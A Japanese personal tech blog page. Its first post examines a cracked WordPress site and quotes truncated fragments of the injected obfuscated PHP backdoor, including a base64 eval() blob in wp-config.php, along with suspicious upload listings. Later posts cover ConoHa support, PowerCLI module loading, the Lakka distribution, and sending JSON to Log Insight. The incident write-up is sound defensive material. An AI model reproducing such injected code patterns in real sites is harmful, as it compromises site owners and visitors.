クラックされたwordpressを見てみた

ページが開けない、というので、調べてみたら、クラックされたwordpressだったので、いろいろファイルをのぞいてみた記録

ざらっと調べてみたけど、被害範囲がでかすぎたので、最初から作ってもらうしかないです、という回答となりました。

・index.php に下記のような文字列が埋め込まれていた

$GLOBALS['_502176623_']=Array(base64_decode('ZXJyb3Jf' .'cm' .'V' .'wb3' .'J0aW5' .'n'),base64_decode('cHJlZ' .'19tYXRj' .'aA=' .'='),base64_decode('cHJlZ19' .'y' .'Z' .'XBsYW' .'Nl'),base64_decode('c3' .'RycG9' .'z'),base64_decode('' .'bWQ1'),base64_decode('ZnVuY' .'3Rp' .'b25fZXhpc3Rz'),base64_decode('Y3' .'Vy' .'bF9pbml' .'0'),base64_decode('Y' .'3Vyb' .'F9zZ' .'XRvcH' .'Q='),base64_decode('Y' .'3Vyb' .'F9zZXRv' .'cHQ='),base64_decode('Y' .'3V' .'yb' .'F9zZX' .'R' .'vcHQ'
<略>
+50)){echo $_8;}}elseif(@$GLOBALS['_502176623_'][13](_1644837808(1091))== round(0+0.25+0.25+0.25+0.25)){echo@$GLOBALS['_502176623_'][14]($_6);}}
//###==###

・wp-config.php 下記のようなものが数箇所に埋め込まれていた

eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJGF1YnRvcSA9IDE2MDU7IGZ1bmN0aW9uIHh1Y3dxbXIoJHRidmRoLCAka29pbW5nbHcpeyRuanpuZXhxcSA9ICcnOyB
<略>
neCc9PidDJywgJ3onPT4nMCcpOwpldmFsLypkeXNwZiovKHh1Y3dxbXIoJGp5Z3h0c2IsICRxemlmeGY
pKTsKfQ=="));

・wp-content/uploads/ にいろんなものがアップロードされている

[root@host wp-content]# ls -la uploads/
合計 56
drwxr-xr-x  5 apache apache  4096 12月  3 11:45 2016 .
drwxr-xr-x  7 apache apache  4096 11月  7 12:50 2016 ..
-rw-r--r--  1 apache apache     0  5月  2 09:41 2016 1.php
drwxr-xr-x  4 apache apache  4096 10月 10 22:31 2016 2015
drwxr-xr-x 12 apache apache  4096 10月  1 01:17 2016 2016
-rw-r--r--  1 apache apache 21377  5月  2 09:41 2016 dbc.php.suspected
-rw-r--r--  1 apache apache  1367 11月  7 12:50 2016 jpgjsk.php.suspected
-rw-r--r--  1 apache apache  4902  5月  2 09:41 2016 mates.php.suspected
drwxr-xr-x  2 apache apache  4096 12月 13 23:58 2016 ps_auto_sitemap
[root@host wp-content]#

・wp-admin/.bt と wp-admin/css/.bt というファイルが作成され、おそらくアクセス許可IPが記載されている
ファイル末尾に追記されるわけではなく、ソートされた順序で増えていっていた

0.5.2.2
0.83.4.1
100.2.201.8
100.35.50.239
100.43.80.14
<略>
99.98.120.94
99.98.2.226
#version:1

・いろんなphpの冒頭が下記のように書き換えられている

<?php





                                      $h00d = 846;$GLOBALS['a287']=Array();globa
l$a287;<略>
$a287['h6d2'][65]]);}exit();} ?><?php
/**

・あと、データベースにいろいろデータが突っ込まれていた

ConoHaでUbuntu 16.04 64bitを指定したパスワードでデプロイできない件は未解決のままもうすぐ10日経過

ConohaでUbuntu16.04 64bitを構築すると高確率で設定したパスワードが利用できない」の件ですが、2016/12/07 19:23頃の発生よりもうすぐ10日となりますが、何も進展を見せないままとなりました。

進捗に関する連絡も無く、
使えないことに対してまでサーバ費用が発生している件も
こちらから連絡を入れて督促を行わない限り無応答だったりと
なかなかアレなサポート状況となっています。

現時点でもなお解決予定は未定だとか

1GBのやつが45日間安い、というから使おうとしたのに、使えないまま期間終了
果たしてどうなってるんだかねぇ・・・

vSphere PowerCLIの一部コマンドがPowerShell ISEで動作しない 2016/12/15版

2017/02/27追記
Windows環境以外でも動作するPowerCLI Coreが登場し、この手順を行おうとしたら、モジュール名が異なり実施できませんでした。
PowerCLIとPowerCLI Coreの双方で動くPowerShellスクリプトの作り方」に、対処方法を記載しています。


1年前に「vSphere PowerCLIの一部コマンドがPowerShell ISEで動作しない」というのを書いた。

最近、環境を作り直すのと一緒にPowerShellを最新にして、そして、PowerCLIを最新の6.5にしてみた。(New Release: PowerCLI 6.5 R1)

以前と同じように、PowerShell ISE上で「Add-PSSnapin VMware.VimAutomation.Core」を実行すると、「Add-PSSnapin : No snap-ins have been registered for Windows PowerShell version 5.」というエラーが発生。
「Add-PSSnapin」は使わないようだ。

 C:\Users\test3> Add-PSSnapin VMware.VimAutomation.Core


Add-PSSnapin : No snap-ins have been registered for Windows PowerShell version 5.
At line:1 char:1
+ Add-PSSnapin VMware.VimAutomation.Core
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (VMware.VimAutomation.Core:String) [Add-PSSnapin], PSArgumentException
    + FullyQualifiedErrorId : AddPSSnapInRead,Microsoft.PowerShell.Commands.AddPSSnapinCommand
 

 C:\Users\test3> 

代替はなんだろ?と確認すると「Import-Module -Name VMware.VimAutomation.Core」。

いままでスクリプトにAdd-PSSnapin~と書いていたところを、どちらでも対応できるように書き換えるとすると、下記のようになるだろうか?

if ( $PSVersionTable.PSVersion.Major -lt 5){
    Add-PSSnapin VMware.VimAutomation.Core
}else{
    Import-Module -Name VMware.VimAutomation.Core
}

下記は参考資料の実行ログ

PS C:\Users\test3> Get-Module

ModuleType Version    Name                                ExportedCommands                                                                           
---------- -------    ----                                ----------------                                                                           
Script     1.0.0.0    ISE                                 {Get-IseSnippet, Import-IseSnippet, New-IseSnippet}                                        
Manifest   3.1.0.0    Microsoft.PowerShell.Management     {Add-Computer, Add-Content, Checkpoint-Computer, Clear-Content...}                         
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Add-Member, Add-Type, Clear-Variable, Compare-Object...}                                  



PS C:\Users\test3> Get-Module -ListAvailable


    Directory: C:\Program Files\WindowsPowerShell\Modules


ModuleType Version    Name                                ExportedCommands                                                                           
---------- -------    ----                                ----------------                                                                           
Binary     1.0.0.1    PackageManagement                   {Find-Package, Get-Package, Get-PackageProvider, Get-PackageSource...}                     
Script     1.0.0.1    PowerShellGet                       {Install-Module, Find-Module, Save-Module, Update-Module...}                               


    Directory: C:\Windows\system32\WindowsPowerShell\v1.0\Modules


ModuleType Version    Name                                ExportedCommands                                                                           
---------- -------    ----                                ----------------                                                                           
Manifest   1.0.0.0    AppLocker                           {Set-AppLockerPolicy, Get-AppLockerPolicy, Test-AppLockerPolicy, Get-AppLockerFileInform...
Manifest   1.0.0.0    BitsTransfer                        {Add-BitsFile, Remove-BitsTransfer, Complete-BitsTransfer, Get-BitsTransfer...}            
Manifest   1.0.0.0    CimCmdlets                          {Get-CimAssociatedInstance, Get-CimClass, Get-CimInstance, Get-CimSession...}              
Script     1.0.0.0    ISE                                 {New-IseSnippet, Import-IseSnippet, Get-IseSnippet}                                        
Manifest   1.0.0.0    Microsoft.PowerShell.Archive        {Compress-Archive, Expand-Archive}                                                         
Manifest   3.0.0.0    Microsoft.PowerShell.Diagnostics    {Get-WinEvent, Get-Counter, Import-Counter, Export-Counter...}                             
Manifest   3.0.0.0    Microsoft.PowerShell.Host           {Start-Transcript, Stop-Transcript}                                                        
Manifest   3.1.0.0    Microsoft.PowerShell.Management     {Add-Content, Clear-Content, Clear-ItemProperty, Join-Path...}                             
Script     1.0        Microsoft.PowerShell.ODataUtils     Export-ODataEndpointProxy                                                                  
Manifest   3.0.0.0    Microsoft.PowerShell.Security       {Get-Acl, Set-Acl, Get-PfxCertificate, Get-Credential...}                                  
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Format-List, Format-Custom, Format-Table, Format-Wide...}                                 
Manifest   3.0.0.0    Microsoft.WSMan.Management          {Disable-WSManCredSSP, Enable-WSManCredSSP, Get-WSManCredSSP, Set-WSManQuickConfig...}     
Manifest   1.0.0.0    NetworkSwitchManager                {Disable-NetworkSwitchEthernetPort, Enable-NetworkSwitchEthernetPort, Get-NetworkSwitchE...
Manifest   1.1        PSDesiredStateConfiguration         {Set-DscLocalConfigurationManager, Start-DscConfiguration, Test-DscConfiguration, Publis...
Script     1.0.0.0    PSDiagnostics                       {Disable-PSTrace, Disable-PSWSManCombinedTrace, Disable-WSManTrace, Enable-PSTrace...}     
Binary     1.1.0.0    PSScheduledJob                      {New-JobTrigger, Add-JobTrigger, Remove-JobTrigger, Get-JobTrigger...}                     
Manifest   2.0.0.0    PSWorkflow                          {New-PSWorkflowExecutionOption, New-PSWorkflowSession, nwsn}                               
Manifest   1.0.0.0    PSWorkflowUtility                   Invoke-AsWorkflow                                                                          
Manifest   1.0.0.0    TroubleshootingPack                 {Get-TroubleshootingPack, Invoke-TroubleshootingPack}                                      


    Directory: C:\Program Files (x86)\VMware\Infrastructure\PowerCLI\Modules


ModuleType Version    Name                                ExportedCommands                                                                           
---------- -------    ----                                ----------------                                                                           
Binary     6.0.0.0    VMware.DeployAutomation                                                                                                        
Binary     6.0.0.0    VMware.ImageBuilder                                                                                                            
Binary     6.5.0.4... VMware.VimAutomation.Cis.Core                                                                                                  
Binary     6.5.0.4... VMware.VimAutomation.Cloud                                                                                                     
Manifest   6.5.0.4... VMware.VimAutomation.Common                                                                                                    
Binary     6.5.0.2... VMware.VimAutomation.Core           HookGetViewAutoCompleter                                                                   
Binary     6.0.0.0    VMware.VimAutomation.HA                                                                                                        
Binary     7.0.2.4... VMware.VimAutomation.HorizonView                                                                                               
Binary     6.5.0.4... VMware.VimAutomation.License                                                                                                   
Binary     6.5.0.4... VMware.VimAutomation.PCloud                                                                                                    
Manifest   6.5.0.4... VMware.VimAutomation.Sdk            Get-PSVersion                                                                              
Binary     6.5.0.4... VMware.VimAutomation.Storage                                                                                                   
Binary     6.5.0.4... VMware.VimAutomation.Vds                                                                                                       
Binary     6.5.0.4... VMware.VimAutomation.vROps                                                                                                     
Binary     6.0.0.0    VMware.VumAutomation                                                                                                           



PS C:\Users\test3> Import-Module -Name VMware.VimAutomation.Core

 C:\Users\test3> Get-Module

ModuleType Version    Name                                ExportedCommands                                                                           
---------- -------    ----                                ----------------                                                                           
Script     0.0        Initialize-VMware_VimAutomation_Cis                                                                                            
Script     1.0.0.0    ISE                                 {Get-IseSnippet, Import-IseSnippet, New-IseSnippet}                                        
Manifest   3.1.0.0    Microsoft.PowerShell.Management     {Add-Computer, Add-Content, Checkpoint-Computer, Clear-Content...}                         
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Add-Member, Add-Type, Clear-Variable, Compare-Object...}                                  
Binary     6.5.0.4... VMware.VimAutomation.Cis.Core       {Connect-CisServer, Disconnect-CisServer, Get-CisService}                                  
Manifest   6.5.0.4... VMware.VimAutomation.Common                                                                                                    
Binary     6.5.0.2... VMware.VimAutomation.Core           {Add-PassthroughDevice, Add-VirtualSwitchPhysicalNetworkAdapter, Add-VMHost, Add-VMHostN...
Manifest   6.5.0.4... VMware.VimAutomation.Sdk            Get-PSVersion                                                                              



 C:\Users\test3> 

なお、PowerCLI 6.5を起動した場合に読み込まれているモジュール一覧は以下の通り

          Welcome to VMware PowerCLI!

Log in to a vCenter Server or ESX host:              Connect-VIServer
To find out what commands are available, type:       Get-VICommand
To show searchable help for all PowerCLI commands:   Get-PowerCLIHelp
Once you've connected, display all virtual machines: Get-VM
If you need more help, visit the PowerCLI community: Get-PowerCLICommunity

       Copyright (C) VMware, Inc. All rights reserved.


PowerCLI C:\> Get-Module

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Script     0.0        Initialize-VMware.VimAutomation....
Script     0.0        Initialize-VMware.VimAutomation....
Script     0.0        Initialize-VMware.VimAutomation....
Script     0.0        Initialize-VMware_DeployAutomation
Script     0.0        Initialize-VMware_VimAutomation_Cis
Script     0.0        Initialize-VMware_VumAutomation
Manifest   3.1.0.0    Microsoft.PowerShell.Management     {Add-Computer, Add...
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Add-Member, Add-T...
Binary     6.0.0.0    VMware.DeployAutomation             {Add-DeployRule, A...
Binary     6.0.0.0    VMware.ImageBuilder                 {Add-EsxSoftwareDe...
Binary     6.5.0.4... VMware.VimAutomation.Cis.Core       {Connect-CisServer...
Binary     6.5.0.4... VMware.VimAutomation.Cloud          {Add-CIDatastore, ...
Manifest   6.5.0.4... VMware.VimAutomation.Common
Binary     6.5.0.2... VMware.VimAutomation.Core           {Add-PassthroughDe...
Binary     6.0.0.0    VMware.VimAutomation.HA             Get-DrmInfo
Binary     7.0.2.4... VMware.VimAutomation.HorizonView    {Connect-HVServer,...
Binary     6.5.0.4... VMware.VimAutomation.License        Get-LicenseDataMan...
Binary     6.5.0.4... VMware.VimAutomation.PCloud         {Connect-PIServer,...
Manifest   6.5.0.4... VMware.VimAutomation.Sdk            Get-PSVersion
Binary     6.5.0.4... VMware.VimAutomation.Storage        {Copy-VDisk, Expor...
Binary     6.5.0.4... VMware.VimAutomation.Vds            {Add-VDSwitchPhysi...
Binary     6.5.0.4... VMware.VimAutomation.vROps          {Connect-OMServer,...
Binary     6.0.0.0    VMware.VumAutomation                {Add-EntityBaselin...


PowerCLI C:\>

RetroPie以外のレトロゲーム向けディストリビューションLakkaとlibRetro

ラズベリーパイを使って各種ゲーム機やパソコンをエミュレートして遊びやすくしたディストリビューションとして「Retro Pie」というのがある。

他に似たようなのがないか探していたら「Lakka」というものを発見。
ちょうど、「Orange Pi PC向けのサポートを開始したばかり」のようです。

RetroPieのサポートリスト」と「Lakkaのサポートリスト」を見比べても、基本的に大差はないようです。

LibRetro」という古いアーキテクチャ環境ソフトウェアRetroArchをWindows,Linux,MacOSX向けに提供しているところが提供しているディストリビューションが「Lakka」という位置づけのようです。
なので、「Getting Started with RetroArch」を見ると、Ubuntu Linuxの追加レポジトリとして登録するための手順も書いてあったりします。

で、Lakkaのマニュアルで特に気になったのは「NetPlay
1プレイヤー用のLakka上でスーファミのマリオカートを動かし、2プレイヤー用のLakkaから1プレイヤー用のLakkaにネットワーク接続することで、対戦が可能になる、というもの

さすがに同一スイッチ内、ということですが、ちょっと面白そうな感じがします・・・

PowerShellを使ってサーバにUTF8のJSONデータを送りつける

VMwareの出しているログ管理サーバvRealize Log Insight を使っている環境で、別製品のログもLog Insightで管理できるようにしたい、という要求があった。

該当するログを保存しているサーバはWindows Serverだというので、PowerShellを使用してログを整形し、JSONデータにしてLog Insightサーバに送りつけたのだが、単純に送りつけるだけでは日本語を正常な文字列として認識しなかった。

JSONデータ変換後のデータに対して「[System.Text.Encoding]::UTF8.GetBytes」のエンコードをしてやることで、UTF8のデータとして認識させることができた。

$loginsightserver = "IPアドレス"
$loginsightagentID = "34859a98"

$result="ジョブの結果"
$jobid = [ordered]@{
			name = "jobid"
			content = "ジョブのID"
			}
$appid = [ordered]@{
			name = "appid"
			content = "アプリのID"
			}

$fields = @($jobid,$appid)
$restcall = @{
			 messages =    ([Object[]]($messages = [ordered]@{
					text = $result
					fields = ([Object[]]$fields)
					}))
			} |convertto-json -Depth 4
$encodedrestcall= [System.Text.Encoding]::UTF8.GetBytes($restcall)
Write-Host $restcall
$resturl = ("http://" + $loginsightserver + ":9000/api/v1/messages/ingest/" + $loginsightagentID)
write-host ("Posting results to Log Insight server: " + $loginsightserver)
try
{
	$response = Invoke-RestMethod $resturl -Method Post -Body $encodedrestcall -ContentType 'application/json' -ErrorAction stop
	write-host "REST Call to Log Insight server successful"
	write-host $response
}
catch
{
	write-host "REST Call failed to Log Insight server"
	write-host $error[0]
	write-host $resturl
}

2019/06/19追記

上記の解説

Log Insightへのログ登録は「/api/v1/events/ingest/{agentId}」を使っている。

1つのフィールドの最大サイズは16KB、JSON化したあとの合計サイズとしては4MBまでをサポートしている。

冒頭で設定している「loginsightagentID」は適当な文字列を入れている。2019/06/19時点の「Getting started with the Log Insight REST API」で示されているサンプルでは「{UUID}」とされており「 aexample-uuid-4b7a-8b09-fbfac4b46fd9 」という文字列が使われているので、なんでも良いらしい。

ログを一括登録する場合の注意点として、現在は上記ドキュメントにも書かれているが、現在時刻から10分以上ズレているタイムスタンプは認めてくれない、というのが標準設定となっている。このため、10分以上ズレているログは、送信した時刻で記録されてしまう仕様となっている。

The timestamp of an event is optional, and expressed as milliseconds-since-epoch UTC. If the submission is authenticated, the timestamp field is trusted. Unauthenticated event submissions have their time clamped to within 10 minutes of the server’s current time.
% config.api-server.max-tolerated-client-time-drift=600000

この制限は「 config.api-server.max-tolerated-client-time-drift 」の値を変更することで解除できる。2018年初頭のバージョンだと「vRealize Log Insightで現在時刻±10分以外のデータも取り込む」に記載した手順で変更することができる。